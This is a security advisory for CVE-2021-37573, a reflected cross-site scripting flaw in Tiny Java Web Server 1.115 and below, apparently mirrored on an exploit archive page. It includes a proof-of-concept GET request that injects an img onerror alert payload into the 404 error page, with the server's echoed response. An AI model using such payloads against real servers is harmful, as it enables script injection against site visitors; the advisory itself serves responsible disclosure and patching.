Tiny Java Web Server 1.115 Cross Site Scripting

Authored by Maurizio Ruchay | Site syss.de

Posted Aug 14, 2021

Tiny Java Web Server and Servlet Container versions 1.115 and below suffer from a cross site scripting vulnerability.

tags | exploit, java, web, xss
advisories | CVE-2021-37573
SHA-256 | 32008168ce6c6acfd2f9997496c840696b8c89f0bb121038eadaf5c24045103a

Download | Favorite | View

Related Files

Share This

Like TWeet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Advisory ID:                SYSS-2021-042
Product:                    Tiny Java Web Server and Servlet Container
(TJWS)
Manufacturer:               D. Rogatkin
Affected Versions:          <= 1.115
Tested Versions:            1.107, 1.114
Vulnerability Type:         Cross-Site Scripting (CWE-79)
Risk Level:                 Medium
Solution Status:            Fixed
Manufacturer Notification:  2021-07-21
Solution Date:              2021-07-23
Public Disclosure:          2021-08-03
CVE Reference:              CVE-2021-37573
Author of Advisory:         Maurizio Ruchay, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Tiny Java Web Server and Servlet Container (TJWS) is a lightweight web
server written in Java.

The manufacturer describes the product as follows (see [1]):
"The Miniature Java Web Server is built as a servlet container with HTTPD
servlet providing standard Web server functionality."

Due to improper input validation, the application is vulnerable to a
reflected cross-site scripting attack.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

It is possible to inject malicious JavaScript code into the server's error
page "404 Page Not Found".

The given input is not properly validated and therefore reflected back
and executed in a victim's browser.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The following GET request shows how JavaScript code can be placed on
the page:

===
HTTP request:
GET /te%3Cimg%20src=x%20onerror=alert(42)%3Est HTTP/1.1
[...]
Connection: close


HTTP response:
HTTP/1.1 404 te<img src=x onerror=alert(42)>st not found
server: D. Rogatkin's TJWS (+Android, JSR340, JSR356)
https://github.com/drogatkin/TJWS2.git/Version 1.114
[...]
content-length: 338
connection: close

<HTML><HEAD><TITLE>404 te<img src=x onerror=alert(42)>st not
found</TITLE></HEAD><BODY BGCOLOR="#D1E9FE">
[...]
<H2>404 te<img src=x onerror=alert(42)>st not found</H2>
[...]
===

If a browser renders the response, the JavaScript code is executed
showing the message "42".

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

The issue has been addressed in the release version 1.116.[2]
Therefore, all instances of TJWS should be updated to this version.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2021-07-02: Vulnerability discovered
2021-07-21: Vulnerability reported to manufacturer
2021-07-23: Patch released by manufacturer
2021-08-03: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for Tiny Java Web Server and Servlet Container (TJWS):
     http://tjws.sourceforge.net/
[2] Patch release on Github:
     https://github.com/drogatkin/TJWS2/releases/tag/v1.116
[3] SySS Responsible Disclosure Policy
     https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Maurizio Ruchay of SySS GmbH.

E-Mail: maurizio.ruchay@syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Maurizio_Ruchay.asc
Key ID: 0xC7D20E267F0FA978
Key Fingerprint: D506 AB5A FE3E 09AE FFBE  DEB2 C7D2 0E26 7F0F A978

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed